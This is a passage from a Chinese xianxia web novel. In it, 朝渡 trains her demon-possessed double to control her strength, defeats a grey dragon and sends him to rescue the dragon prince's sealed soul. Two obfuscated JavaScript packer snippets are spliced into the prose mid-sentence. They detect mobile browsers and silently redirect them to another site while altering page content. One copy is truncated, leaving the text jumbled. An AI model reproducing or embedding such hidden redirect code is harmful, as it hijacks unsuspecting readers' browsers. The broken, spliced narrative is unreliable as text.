另一个朝渡不自觉地奔跑起来,跑向原来她常与遥遥和其他同门一起织布绣花的“妙生楼”。 她分明是在往前跑,却恍惚觉得像是回到了过去。 但值得庆幸的是,这段过去,是她如今最怀念的过去。 仿佛那些令她痛苦的事都还不曾发生,仿佛她的家人她的好朋友都还活着。 她好像真的有了一次重新开始的机会。 她激动地推开妙生楼的门,门内,桌椅花瓶织布机等一切摆设都与她记忆中的完全一致。 只是不见当年的那些人。 另一个朝渡顿时停下了脚步。 她知道,有些时间,终究是回不去了。她不是回到了过去,只是过去的景来到了她眼前。 另一个朝渡闭上眼,面容痛苦到扭曲,杀戮嗜血的欲望在她脑海中不安分地低语,手腕上再次传来冰冷透骨的冷意,不用看就知道,是那冰髓镇魔镯起了作用。 她如今已经入魔。 那些时光早已回不去。 她得往前走,她只能往前走。 一只手轻轻搭在她肩上,拍了拍。 另一个朝渡伸手轻握那只手,轻声道:“别担心,我没事。” 另一个朝渡睁开眼,瞳孔仍有一点赤色,但正在渐渐消退。 朝渡有点惊喜:“你对情绪和魔气控制得都不错。” 另一个朝渡微笑,笑得有点苦涩:“我得往前走。”如果她有的选,她宁愿留在过去,留在一切痛苦发生之前,留在家人朋友都还在,而且还不认识傅不辞的那时候。 可她没得选。 另一个朝渡建议道:“这里是隐仙宗,已经不是仙衣阁了,把这些织布机和绣花凳收起来吧。” 朝渡:“好,累的话,休息一会吧,寝室的位置与原来一样。” “……嗯。”另一个朝渡疲惫道,“那我去休息一会,是有些累了。” 另一个朝渡低着头缓缓走向寝室的方向,朝渡思索片刻,指尖凝出一只小巧的鸟儿。 “去吧。” 鸟儿飞向另一个朝渡的方向,扇了两下翅膀便隐身不见。 朝渡默默心道对不起,但她现在的情况不稳定,不得不特意留心一下她的情况,以防万一。 随后,朝渡抬手,将屋内与织布刺绣相关的物品都收起,望着空荡荡的房间,她也不由得一声轻叹。 有些时光,的确是回不去了。 继续往前走吧。 朝渡来到仙衣阁的主阁“如意阁”,进去走了一圈,感觉屋里有点闷,又去了阁外的凉亭里坐下,先在整座山周围设下结界,又召出曜灵剑与濯天剑的剑灵在附近戒备,她则继续修炼。 忽然,她停了一下,借那只小鸟的眼睛,她能看到,另一个自己走到了寝室前,在门外抱着剑呆立了片刻,却没进去休息,反而忽然抽出朗月剑开始练剑。 虽然她没控制好力道,一道剑气折了好几棵荷灯树,但她还愿意修炼,总归是个不错的开始。 另一个自己望着被折断的荷灯树愣了愣,显然自己也没想到会有这么大的威力。 她把朗月剑收了起来,俯身捡了根断掉的树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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魔气都有点乱了。 另一个朝渡拼命摇头,想把那种可怕诡异的念头甩掉,一边咽口水,一边拼尽全力拿起旁边的锅盖把这些美妙的血肉都盖上。 做完这一切,她靠在灶台旁,看着手腕上渐渐消退的冰,缓缓呼出一口气,擦了擦额头的汗,仍然心有余悸。 太可怕了,入魔后居然会对生的血肉产生兴趣,难怪有些魔修甚至会抓人来吃……实在太可怕了。 另一个朝渡看向手腕上的冰髓镇魔镯,安心了些许:有这镯子在,还有另一个自己的帮助,她肯定能摆脱魔气的! 另一个朝渡定了定神,视线落到装着菜的几个大筐里:她如今不敢见生肉,难道今晚感谢另一个自己的宴席,要做成全素的? 她皱着眉,随手从筐里拿出一颗笋,思索起有没有合适的菜谱。 随着“嘎吱”一声,那笋在她不知不觉间被她生生攥碎成了渣。 另一个朝渡:“……?”刚才她用力了吗?明明只是很普通很随意地拿着啊。 然而这笋就跟白天的练剑树枝一样碎成了渣,是她手劲忽然大了这么多?还是她控制不住力量? 她忽然有种不妙的预感:这种情况下,今晚她做得成宴席吗?也许切菜都费劲…… 她忐忑地从筐里又拿出一颗笋,小心翼翼地捧着它,将它完整地捧到了案板上。 她微微松了口气,拿起菜刀,想先把这笋切成块试试。 一刀下去,笋顺利地被切开了,不过案板也一起被切开了,刀柄也碎成了渣。 另一个朝渡:“…………”是不是那个虚实相生卷造出来的东西不结实啊?! 她不理解地屈起手指敲了敲剩下的案板,一敲一个坑……果然是虚实相生卷不靠谱!那这些房子还能住吗?不会手一按风一吹就倒了吧?! “你在做什么?” 熟悉的声音从门口传来。 另一个朝渡忙把破碎的案板和菜刀挡在身后,支支吾吾:“没什么,看看有什么能吃的,你怎么来了?” 朝渡走进厨房,打量四周:“今晚可能不太平静,我来找你。有想吃的东西吗?没有的话我用虚实相生卷再造点?” 另一个朝渡欲言又止,终于还是忍不住道:“……这卷它,好像不太靠谱。” “不靠谱?”朝渡惊讶,“哪里不靠谱?” 另一个朝渡让开身,让她看自己身后的案板残骸:“你看这案板,一切就碎,一敲就是个坑,跟块豆腐似的。” 朝渡:“?” 朝渡走过去,屈起手指敲了敲案板尚且完整的角落,略显厚重的声音响起,听得出这案板木质不错。 她抬起手指,被她敲过的地方没有留下一点痕迹。 另一个朝渡:“?!” 她满脸疑惑地伸手又敲了一次,案板上再次多了个坑。 “你看……”另一个朝渡委屈道,“我一敲就有坑,明明我没用力,是不是这案板在陷害我?” 朝渡望着她的手沉吟片刻,指了指旁边的空桌子:“来,坐,咱俩来玩玩掰手腕。” 两个人在桌子角的两侧坐下,伸出手,胳膊肘搁在桌上,手相握。 朝渡:“你先别用力。”她的手劲绝对比原来大了很多。 另一个朝渡困惑道:“我没用力,我就松松地握着。” 朝渡:“……那你用力试试?”没用力还这么大的力气,如果用力的话…… 咔嚓一声,桌面碎了,桌子腿不堪重负断了。 朝渡和另一个朝渡都愣了一下。 另一个朝渡不由得看向自己的手:“我才用了一点点劲,怎么会这样?!” 朝渡打量她:她脸色没变,呼吸也没乱,可见刚才确实没用什么劲。 虽然朝渡自己的手纹丝不动,但朝渡能感觉到另一个自己的力气已经远胜从前,不过她对力气的感知和控制似乎出了问题。 “也许,需要给你量身定制一份新的修炼计划。”朝渡收回手,活动着手腕,心中已经有了初步计划。 砰———— 屋外忽然传来一声巨响和数声呼喊惨叫,另一个朝渡猛地抬头看向窗户:“外面怎么了?什么情况?” 朝渡瞥了眼窗户,抬手掀起一道风将它合上,微笑道:“咱们刚来到灰荒岭,有些好客或者好奇的朋友过来打个招呼,问题不大。” 另一个朝渡抽了抽嘴角,无语道:“是过来打招呼,还是过来打?” 朝渡轻笑一声:“在灰荒岭,可能这两者差别不大。” 33. 遮月灰龙 朝渡说着,站起身,从破桌子走到了碎案板前,打量着案板上的可怜笋和可怜菜刀,随后伸出手,一颗新的笋从菜筐里飞到了另一个朝渡面前。 朝渡:“接着它,新的修炼就从这笋开始吧。” 另一个朝渡小心翼翼地接过笋,用掌心捧着它,手指不敢用一丁点力气:“接到了,然后我该怎么做?” 朝渡道:“你如今力量大幅增加,但对力量的精细掌控还没跟上,接下来,你握着它一点点用力,感受笋的变化,直到它出现第一道裂痕……” 砰! 朝渡话还没说完,整个笋又碎成了渣。 另一个朝渡捧着笋渣,尴尬道:“我真的就用了一点点力气……” 朝渡:“没事,这说明我们的训练方向是正确的,不过我们可以换个训练物。唔,面团怎么样?” “面团?”另一个朝渡惊诧,“那不是比笋还软吗?” 朝渡笑吟吟道:“要的就是它的软,你能捏碎笋,能捏碎一个面团吗?” 另一个朝渡:“!” 她恍然:“以柔克刚?” 朝渡点头:“悟性很高嘛,来,先和面,把你的所有力气用出来。一会再拿面团锻炼对力量的感知和精细控制。” 朝渡话音刚落,窗外陡然传来数声哀嚎惨叫: “啊————” “救命!!!” “好烫,烫死我了!这女人手里是什么剑?!” 另一个朝渡忍不住往窗户看去,窗户没开,但窗纸被照成了刺眼的金红色,仿佛外面升起了一轮烈日。 可现在分明已经入夜了。 而且窗畔温度极高,不用开窗就能想象到外面的滚滚热浪。 另一个朝渡震惊片刻,回过神问:“是曜灵剑?” 朝渡点头,望着被照成金红色的窗纸笑道:“曜灵剑想先跟灰荒岭的朋友们打打招呼,夜里有点黑,她还点了灯,多贴心。” 另一个朝渡被逗笑了:“不愧是曜灵剑,不过这灯有点烫,希望朋友们不要介意。” “他们不会介意的,说不定还想永远留在这呢。不必在意屋外的动静,来。”朝渡一抬手,厨房里的木盆,面粉和清水和一个碗自动飞起,面入盆水入碗,最后一起落到了朝渡面前。 朝渡又一个弹指,一个指尖大的灵力团散成两个光点飞入碗和盆中中,眨眼融化覆盖这两个容器。 朝渡:“好啦,可以开始练了,只管用你最大的力气去和面,这木盆能裂一条缝,我就满足你一个愿望。” “这可是你说的!一言为定!”另一个朝渡愈发有了兴致。她挽起袖子,先洗了手,然后分数次加水和搅拌,把面初步和成面团,接着开始揉面。 这盆果然结实,另一个朝渡都没收着力气,甚至没压着心中那无时无刻不在叫嚣的戾气,使劲揉搓面团,但这盆竟没裂开一点。 这激起了她的好胜心,她更加用力地揉面,盆没碎,面愈发筋道,但盆下面的桌子咔嚓一声碎了。 两个朝渡面面相觑,朝渡轻咳一声:“疏忽了,再来。”她把灵力融进屋里仅存的一张完整桌子里,另一个朝渡把盆端过去,再次开始揉面。 忽然,随着一声巨大的嘶鸣,房子猛地抖了一下,甚至有往一侧倾斜的趋势。 另一个朝渡扶着桌子和盆,连忙给自己澄清:“这可不是我按的!” “来了个脾气有点暴躁的朋友。”朝渡啧了一声,“还得用虚实相生卷重新建一次宗门。” 朝渡说得轻松,另一个朝渡听着也不太担心,把面盆扶正,继续揉面,边揉边闲聊道:“这虚实相生卷真是好用,不过用的灵力是不是有点多……” “嗷————” 伴随着一声仿佛近在咫尺的嘶吼,狂风袭来,四面传来木板断裂墙壁倒塌桌飞柜翻的声音。 朝渡一手按着另一个朝渡的肩膀,不让她被吹飞,一手持千钧剑挥出数道剑气,将潜藏在狂风中的锐利风刃悉数斩散。 另一个朝渡被狂风吹得睁不开眼,但还记得抱住木盆护住自己的面团。 当风停下时,另一个朝渡心有余悸地睁开眼,正对上一双森冷的巨大竖瞳。 太近了,近到她都能看清它瞳仁周围如灰色水晶般的纹路,感受到它呼出来的炽热气息,看到它露出来的森白可怖獠牙。 更令她格外在意的是,这位灰荒岭的朋友嘴边长着数根纤长飘逸的胡须,头上更是顶着一对硕大的鹿角,右边那只角还断了小半截,给它更添了几分凶狠。 不对,这分明是龙角!这竟是一条龙! “这里怎么会有龙?!”另一个朝渡抱着装面团的盆愕然问。 “灰荒岭嘛,有什么都不稀罕。”朝渡从容不迫地抬起手,曜灵剑和她灵力耗尽的分身都化成一缕光飞回了她的袖中。 这条灰龙抬起头,居高临下地俯视她们,巨大的身形将月亮都遮蔽。 它不屑道:“弱者也敢来灰荒岭招摇?还敢来我的地盘?” 朝渡讶然:“原来这是你的地盘,我之前以为是无主荒山,抱歉抱歉。” 灰龙一愣,哈哈大笑起来:“你居然道歉!哈哈哈哈居然有人会因为这个道歉哈哈哈!” 两个朝渡沉默对视一眼。 灰龙笑够了,鄙夷地看向两人:“看来你真是不懂灰荒岭的规矩,你是来灰荒岭送死的吗?” 朝渡诚恳道:“初来乍到,确实不懂,可否请您指点一二?” 灰龙高高抬起下巴,一爪按碎一座楼,胡须得意飘扬,它高傲道:“我来教你,好让你死个明白!灰荒岭只有一个规矩,那就是强,足够强!比如这山,就是我从一个弱者手里抢来的,而那弱者其实是上一个强者。只要你够强,整个灰荒岭都可以是你的地盘!好了,你可以留下遗言了。” 朝渡却笑了起来:“那我就放心了,看来宗门地址也不用重新选了。” 灰龙:“?” 朝渡并指轻抚千钧剑剑脊,微笑道:“倒是你,你还有一次活着离开这里的机会,不然你也可以留遗言了。” “呵呵呵,嘴倒是硬,比我磨爪子的石头都硬。不过在灰荒岭,单靠嘴硬可活不了。”那条龙冷笑道,“今天我不杀你,明日也会有别妖来杀你,还是送你早日安息吧!” 朝渡手中浮现一柄伞,伞面晶莹剔透,上面隐约可见星辰流转,伞骨末端垂着各色的宝石和玉石,轻轻摇曳闪闪发光。 朝渡把伞递给另一个朝渡,叮嘱道:“撑开,拿好。” 另一个朝渡依言将伞撑开,身影和伞一同消失。 “怎么不把你自己也藏进去?”灰龙不屑道。 朝渡执剑微笑:“因为还要收拾你。” “你死定了!”灰龙怒瞪双目,咬牙切齿,嘴边胡须飞扬,它向前一步,一爪踏碎一座屋,木块碎片飞溅中,它另一爪一挥,五道高速旋转的龙卷风向朝渡袭来,将朝渡包围。 朝渡身形灵活地躲避着,但没急着进攻。她知道,此刻还有无数双眼睛也在周围看着:灰荒岭的“朋友们”,都想知道这个修仙界的大胆来客,究竟实力如何。 若敢露出一丝虚弱或者怯意,就会被那群鼻子灵敏的“豺狼”撕个粉碎,见不到明天的日出了。 所以今晚她必须要挑一个实力不错的对手,进行一场声势浩大的战斗,赢,并且压倒性地赢,才能震慑住周围虎视眈眈的好邻居们。 但问题是,她如今力量被封印压制,只余一成可用…… 朝渡想到自己的困境,眼睛却愈发明亮,嘴角微微扬起:虽然难,但也不是没有解决的办法,只要在一招,或者最多两招内制服它就好了。 “你为何不用你的剑?!”灰龙愤怒质问。 朝渡笑而不语:还不是时候。 灰龙忽然扬起头,发出一声嘶吼,随着它的声音,所有的风都静止凝固,而整座山都在颤抖,山顶上的所有房屋坍塌破碎。 朝渡微微挑眉:若是寻常人,只怕此刻要被它声音中裹挟的力量震成血沫,这条龙确实有点本事。不过自己经历过千百次天雷淬炼,这声音于她而言不过如此。另一个自己撑着百珍玲珑伞,应该不会被伤到,毕竟那可是天阶的防御法宝。 龙的声音一转,尾巴一甩,狂风从四面八方涌向山顶,要将山顶的一切存在都撕碎。 朝渡嘴角笑意更深:差不多了,她的对手已经展现出了非凡的实力,她可以出手了。 朝渡微微抬起左手,下一瞬,灰龙爪下的山体如沼泽般下陷,原本坚硬无比的岩石,此刻柔软得像丝绸。 灰龙一惊,立刻就要飞起,但那半山顶岩石化作一条石龙,如绳索般将它紧紧缠绕,绑在另一侧的山体上,只是呼吸的功夫,它竟被半座山的岩石牢牢嵌在山中了! 朝渡指尖一动,十二道流光飞出她的袖子,绕着动弹不得的灰龙组成了一道剑阵,十二柄神剑对准了灰龙的头颅,脖颈,心脏,脊椎与四肢关节等部位。 不过短短片刻,局势已彻底反转。 灰龙望着十二柄剑,眼睛缓缓睁大,先是震惊,继而狂喜:“这柄剑难道是濯天?!这柄像是可以凝固时间的琥珀剑,这柄应该是化影剑,这柄是停风剑……你除了曜灵剑居然还有这么多好剑?!” 它眼中没有对死亡的恐惧,只有见到这些绝世名剑的极度欣喜。 朝渡挑眉:“你都认识?”这些虽然是名剑,但都是修仙界的剑,而且久藏于待仙塔,妖族能认出它们的妖应该不多。 “我从小就喜欢剑,修仙界名剑谱上的剑我都认识。这十二柄剑竟都认你当主人了?”灰龙艰难地转动眼睛,看向朝渡。 朝渡颔首。 灰龙目露羡慕,继而释然:“死在你手下,也算不亏,只可惜无法为殿下报仇了……杀我之前,能告诉我你的名字和你手中剑的名字吗?我没在名剑谱上见过这柄剑,但它一看便是柄好剑。” 朝渡却捕捉到了一个词:“殿下?哪个殿下?”难道是…… “我们龙族的太子殿下。”灰龙深深叹息,“殿下不知被谁害了,生死不明下落不明,他们说是我杀了殿下,可我跟殿下从小一起长大,一向对殿下忠心耿耿,怎么可能去害殿下?!” 灰龙越说越悲愤,朝渡沉默片刻,抬手收起十二柄剑。 灰龙茫然地看向她,朝渡问:“会化人形吗?跟我来。” 灰龙迟疑片刻,变成了一个身着白色轻甲的俊朗青年,这次他旁边的岩石一动不动,看来没打算再困住他。 他飞到了朝渡身旁,轻盈落下,诧异问:“你不杀我了?” 朝渡抬起手,一边借共鸣复原山体,一边答道:“本来也没打算杀你,我只是需要打一架,你是,龙族的沧风将军龙游蓝?” “是我。”龙游蓝摸了摸脑袋,还有点不好意思,“好久没听龙,不对,你是人,好久没听人叫我将军了,你怎么知道我的名字的?” 朝渡轻笑:“刚才你自己说的,谋害殿下……” “不是我!”龙游蓝立刻强调,“真的不是我!” “我知道。”朝渡安抚他,“我知道你是被冤枉的,真凶是二殿下。” “啊……?!怎么会是二殿下?!”龙游蓝一脸震惊,“那可是太子殿下的亲弟弟啊!太子殿下对他一向很好,处处爱护,怎么会是二殿下?!” 朝渡无奈瞥了他一眼,他怎么有点呆呆的,被二殿下龙鸣渊——也是现在龙族的王,追杀了这么多年竟然还没想明白。 朝渡解释:“因为嫉妒,也为了王位,或许还受到了蛊惑,总之,他跟上任魔尊联手了,一起杀了龙鸣玄。” 龙游蓝呆住,显然受到了极大的冲击。 朝渡微微摇头,留给他思考和接受的时间,她先看向一旁:“可以把伞收起来了,没受伤吧?” “没有!”另一个朝渡收起伞,身形显露,方才经历几场狂风,但她的头发丝一根都没乱,她艳羡问,“这伞难道是百珍缀星伞?” 朝渡颔首。 另一个朝渡捧着伞感慨万千:“不愧是天阶的防御法宝,刚才我在伞里,还怕那么大的风把伞吹破,结果这伞纹丝不动。”她将伞双手捧给朝渡:“谢谢你!” 朝渡接过伞,笑道:“客气什么。” 说着,她将伞向空中一抛,伞面陡然延伸千万倍,将整座山完全盖住,随即彻底透明消失,成为一道无形但强韧的防护罩。 朝渡又唤出虚实相生卷。 另一个朝渡担心道:“灰荒岭还是太危险了,真的要选这里当宗门吗?万一又有谁来袭,是不是还得重建宗门,用虚实相生卷很耗费灵力吧?” 朝渡安慰道:“没事,今晚这一战之后,应该能清静一段时间,不会经常需要重建。而且有百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683058|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍千防伞在,一般人扰不了这里的清静了。至于灵力,不用担心。” 朝渡说着,唤出虚实相生卷并展开,两条小鱼游出画卷,生出羽翼,化而为鸟,所飞之处,废墟尽数化为灵力,追在二鸟身后,仿佛一道道灿烂的流光。 龙游蓝抬起头,惊讶地看着这一幕,另一个朝渡震惊问:“它们居然还能回收灵力?!” 朝渡颔首:“除了掉落下山离得太远的,基本都能回收,这样一来,重建就不用花太多灵力了。” 两只大鹏带着回收的灵力飞回画卷中,变成了两只玲珑可爱的小鸟,小鸟在画卷里飞了一圈,重新飞出画卷的一瞬又变回了小鱼,继而如白天那样越变越大,游动时荡起水墨涟漪,勾勒出仙衣阁房屋乃至草木的轮廓。 朝渡再次将掌心按在画卷上,轻声念:“以实画虚,以虚化实,虚实相生卷,开!” 她的灵力与刚才回收的灵力一起化成“颜料”,眨眼间填满刚才勒出的“草稿”。 另一个朝渡缓缓眨了眨眼,看着眼前完好如初的厨房还有里面完整干净的桌子和案板,有种做梦的感觉。 龙游蓝环顾四周,呆呆问:“我是在做梦吗?这也是法宝?” 朝渡颔首。 “你怎么这么多厉害法宝和名剑?”龙游蓝忍不住问,“你到底是谁?对了,还有你的剑叫什么名字,你刚才还没告诉我。” 朝渡看了他一眼,他对剑是真的很执着。“我叫夕溯,剑名千钧。”她道。 龙游蓝一番努力思考,泄气道:“都没听说过,可能是我在灰荒岭太久了,竟不知外面出了你这种厉害龙,哦不,厉害人。” 朝渡:“那倒也不是,毕竟我刚来没太久。” 龙游蓝:“?” 朝渡轻咳一声:“不必在意,总之,你想找到大殿下,替他报仇吗?” “想!”龙游蓝毫不犹豫地回答,神色激动,“你知道大殿下在哪吗?!大殿下他还好吗?!” 朝渡望向远处夜幕,想起那双充满歉意的眼睛,叹道:“不是很好,身魂分离,身躯被前魔尊改造成魔龙傀儡,在那前魔尊假死后被仙盟俘获销毁。不过,如果没出变故的话,他的魂魄应该还在,只是被封印在修仙界的一处琥珀境中。” 龙游蓝呆住:“怎么会这样……殿下他到底受了多少折磨?!” 朝渡看向他:“你想救他的魂魄吗?” “当然想!”龙游蓝攥紧了手,咬着牙恨恨道,“我要救出殿下的魂魄,还要替殿下报仇!殿下的魂魄在哪个琥珀境里?我现在就去找!” 朝渡手中浮现一张半透明的地图,地图上星星点点标注的,是修仙界各处琥珀境的位置和名称,这些标点颜色大小形状各不相同,其中还有个别标点竟在缓缓移动。 龙游蓝紧张地看着地图:“殿下在哪个琥珀境里?” “这个。”朝渡指尖轻点一个名为“古琴台”的琥珀境标点。 这是一个正在缓缓移动的标点,它在周围一众标点里大得突出,且由三个相套的环组成:最外层的环是波浪形的蓝色,中间的环是黑色,最内层的环则是金色。 龙游蓝惊讶问:“它为什么在动?而且旁边的标点都是两个环,为何它是三个环?” 朝渡点了点它外面的波浪蓝环,解释:“因为它很特殊,它的位置会随时变动,波浪蓝环代表位置不定,中间的黑环代表它没有开启,最内层的金环代表它里面有稀世珍宝,还有这个标点的大小,代表了它是大型琥珀境。” 龙游蓝听得一愣愣的:“还得等多久它才开启?” 朝渡:“在我这,随时可以开。” 龙游蓝惊喜地看向朝渡:“你有办法?” 朝渡抬起手,手中浮现出一枚系着青色流苏的玉佩:“我曾经……有个朋友去过这个琥珀境,在里面得到了一个信物,凭此信物,可随时进入这个琥珀境。进入后,找到一只身长五丈的红羽金喙的烈焰鹰,取出它腹中的一个匣子,匣中有一对龙角,他的魂魄就被封印在其中。取到后立刻出来,里面很危险,不要深入探查,不然你未必能活着回来。” 龙游蓝:“烈焰鹰,腹中匣,我记住了……但是你怎么知道的这么清楚?而且你既然随时能进入,为何不早点救大殿下出来?”他的眼神逐渐变得警惕。 朝渡垂眸看了眼千钧剑,眼中神色复杂,片刻后抬头,狡黠笑道:“因为天机不可泄露和时机不到。” 龙游蓝:“……” 朝渡见他无语神色,“啧”了一声:“你若不信,大可不去,地图和玉佩还来。” 朝渡向他伸出手,龙游蓝紧握玉佩地图向后躲,一番犹豫后,他小声道:“我去,这是我这些年第一次听到殿下的下落,哪怕是假的,我也要去看看。但如果让我发现是假的,我,我就,就……” 朝渡饶有兴趣:“你就如何?” 龙游蓝扁了扁嘴,泄气道:“反正我现在也打不过你,我就恨你一辈子,等以后能打过你了,我就来找你算账!” 朝渡好笑地拍了拍他的肩甲:“行了,真没骗你,去吧。等你带匣子回来,我解开上面封印,你们就能见面了,龙宫有重塑身躯的灵药,到时候想法子拿出来,他就能恢复如初了。” 龙游蓝拿着地图和玉佩神情激动,立刻就要飞走去找那琥珀境,但飞了几丈后他又猛地掉头回来:“就问最后一个问题!最后一个!你为什么愿意帮殿下?” 朝渡懒懒道:“为了修仙界,也为了妖族,你不信就不去,信就快点去。” 龙游蓝小声嘀咕:“好凶啊,我哪敢不信……” 朝渡似笑非笑地望着他,他一个激灵,立刻道:“我现在就去!一定把殿下好好带回来!” 他的身影化成一道风,转瞬消失。 朝渡摇了摇头,走进厨屋,用灵力给全厨屋的桌椅加固了一下,接着找了个凳子坐下修炼,闭着眼道:“来继续修炼吧,你接着揉面,揉到感觉力气空了为止。” 另一个朝渡欲言又止,把盆放到加固后的桌子上,揉了两下刚才被她保护完好的面团,还是忍不住问:“你为什么要帮那个太子,真的只是为了修仙界和妖族?” “不然呢?”朝渡抬眼望她,另一个朝渡眨了眨眼,眼神灵动,声音轻轻:“可我感觉,你刚才提起那位太子殿下时,语气和眼神都不太……寻常,你们是不是之前认识?” 34. 曾经的千钧剑剑灵 朝渡沉默片刻,笑了起来:“你的眼神这么好使吗?” 另一个朝渡嘿嘿一笑:“这方面是相当好使,所以,你们之前真的认识?” 朝渡点头,望向夜空:“我曾经进入过那个琥珀境,按照悬赏狩猎刚才提到的那只烈焰鸟,在它腹中发现了那个匣子,打开发现里面是一对龙角,这可是顶级材料,我没舍得卖掉,龙角拿去铸剑了。” 另一个朝渡默默看了她一眼,心道不愧是顶级剑修,拿到任何好材料的第一反应就是铸剑,这龙角若是换成钱,可以够她一辈子花天酒地了。 朝渡唤出千钧剑,轻抚剑脊,眼神复杂:“千钧剑自那次铸剑后诞生了剑灵。” 另一个朝渡愣住:“等等,难道这个剑灵就是……?!” 朝渡点头:“一般情况下,剑先诞生灵性,经历数百年,才有可能出现剑灵,而千钧剑那时还不足百年……当时我和铸剑师只当是因为龙角材料特殊,极具灵性,后来才知道不是特殊在龙角,而是特殊在龙角里封印了他的魂魄,以龙角铸剑时,千锤百炼与沸腾真火之间,歪打正着竟破除了那个封印,让他来到了剑里,在剑中休养,逐渐恢复了神智。” 另一个朝渡惊讶:“竟是这样,那他恢复灵智后居然没有说出他的真实身份吗?” “没有,他瞒了我二十年。”朝渡抿了抿嘴,忽然笑道,“你先修炼,等你能控制好力道了我再继续讲。” 另一个朝渡震惊控诉:“你这太会吊人胃口了吧!” 朝渡笑问:“想不想听?” “当然想!等着!”另一个朝渡提起劲捋起袖子,继续用力揉那刚才被她保护完好的面团,直到满头大汗,手腕都酸了,才道,“应该差不多了。” 朝渡走过去戳了戳面团,笑道:“太筋道了,一定很好吃,来,现在尽可能轻地碰这团面。” 另一个朝渡轻轻地伸出手,沾到面团就撤,还是在面团上留下了深深的指印。 “怎么会这样,我明明收了力气的,而且本来也没剩多少力气啊……”另一个朝渡颇为挫败。 朝渡则道:“不急,再试试。” 另一个朝渡又试了几次,等面团上盖满指痕时,就把它重新一通揉搓。 她万万没想到,只是轻轻把手放到面团上这个动作,她如今做起来竟难如登天,只是控制着自己不把面团拧烂踩脏踩成烂泥就花了很多心力,不知不觉间已一身冷汗。 她努力调动自己最大的耐心,一次又一次,尽可能轻地把手放到面团上,却总是在面团上留下深深的指痕甚至掌痕。 已经数不清试了多少次了,意识都隐约有点模糊了,另一个朝渡摇了摇昏沉沉的头,握住凉凉的冰髓镇魔镯找回清醒,继续轻触和揉面这两个步骤。 “再来一次,再来一次。”另一个朝渡低声鼓励着自己,但已经连抬手都没力气了,指尖控制不住地发抖。 “别抖啊,我叫你别抖啊!”另一个朝渡忽然撕心裂肺地吼自己的手指,几乎想把自己的手指掰断,手腕上的冰髓镇魔镯陡然散发出可怕的凉气。 极度的冰冷之下,另一个朝渡找回了些神智,无措慌乱地看向朝渡:“我刚才……是不是又失控了?” 朝渡站起身,走向她,轻轻拍了拍她的肩膀,温柔笑道:“没关系,这才第一天,你已经做得很好了。” 另一个朝渡艰难地弯了弯嘴角,比起笑,更像哭:“我知道你是在安慰我,可是这就是那么简单一个动作,我怎么就做不到呢?!” 朝渡安慰道:“你以前精准有余,力量不足,如今恰好相当,力量有余,精准却成了你的短板,掌控不好也是正常,不然我们还练它干嘛。来,歇会,肯定累了,想睡会吗?或者有什么想吃的吗?” 另一个朝渡摇头,她哪有心情吃东西,睡觉也睡不踏实。 “我想继续练,我就不信了,这么简单一个动作,还能把我难死?”另一个朝渡挽起袖子,咬着牙提起劲,要继续练习。 朝渡也不拦,只是默默打开虚实相生卷,让两条小鱼找些美食。 她跟她是一个人,口味应该一样吧? 不一会,诱人的饭菜香气就飘到了另一个朝渡的鼻子里。 她忍不住扭头看去:旁边凭空出现了满满当当一桌子菜,全是她爱吃的! 红烧排骨,香菇炖鸡,酱香芝麻鸭,蜜甜糯米藕,金丝虾球……它们飘香满屋,散发出令人无法抵挡的魅力。 朝渡坐在桌边拿起筷子,悠悠笑道:“你可以继续练,不过一会它们要是凉了就可惜了。” 另一个朝渡咽了咽口水,坚决道:“修炼重要,但放任它们凉掉实在罪大恶极,我不能作出这种魔修行为!” 朝渡开心笑道:“那快来!” 另一个朝渡兴高采烈地奔向桌子,夹起一块热气腾腾的红烧排骨,一口下去,却愣了愣:“味道好淡。” 朝渡也夹了一口,蹙起眉头:她吃起来味道正好,所以另一个自己为什么感觉味道淡?是因为入魔了吗? 另一个朝渡探寻地看向她,朝渡沉默一瞬,还没等她开口,另一个朝渡似乎理解了什么,不安地问:“是因为我入魔吗?我的口味好像确实变了。”不久前她甚至对血淋淋的生肉有食欲。 朝渡尽量用轻松的语气说道:“也可能是其它原因,没关系,多加点调料就好了。” 她一抬手,调料架上的十来种调料悉数飞了过来,落到桌上,把桌子的边边角角都占满了。 “想吃什么随便加!”朝渡轻快笑道,仿佛她口味改变只是个意外,只是个很小很小的问题。 另一个朝渡看着满桌美食和调料,食欲却比刚才少了很多,但为了不让另一个自己担心,她强撑着振作起来,笑道:“好,那我可不客气了。” 她往盘中撒了许多辣椒粉,又加了一些盐、孜然粉和芝麻碎,再夹起一块排骨沾了沾,一口下去,眼睛顿时亮了。 久违的美味,让她的嗅觉味觉都被唤醒,同时,被她刻意忽视的身体的疲惫也变得明显起来,比如酸疼的手腕,仍然隐隐作痛的四肢百骸,还有被辣疼的舌尖…… 这一切都提示着她一件很明显,却被她几乎遗忘的事:她虽然入了魔,但她依旧是人,一个有血有肉的人,爱吃红烧排骨,这一点与从前的自己区别不大。 朝渡观察着她的反应,放心了些,又笑吟吟道:“这些菜可能是哪位名厨做的,这卷的前主人尝到了,觉得十分不错,才把它们保留在了卷里,多吃点。” “嗯!好!”另一个朝渡点头,她的食欲已经恢复,她要大干一场!带上她的辣椒冲锋陷阵! 朝渡看着另一个朝渡食欲大开,放心了很多。 过了一会,朝渡与另一个朝渡快吃完了。 另一个朝渡唉声叹气道:“一会还得去碰那个破面团,那么简单的动作我怎么就做不了呢?我还想听你继续讲故事呢!” 朝渡无奈一笑,帮她分析:“看似是简单的动作,却与心境、耐心和细节掌控等很多方面关联,不急,明天还有其它课程,把其它方面都提升起来,再做这个动作应该简单多了。” 另一个朝渡有点期待也有点害怕:“明天还有什么课?我好多年没上过课了,而且师父不会是你吧?” 朝渡挑了挑眉:“怎么,不想让我当你的师父?” 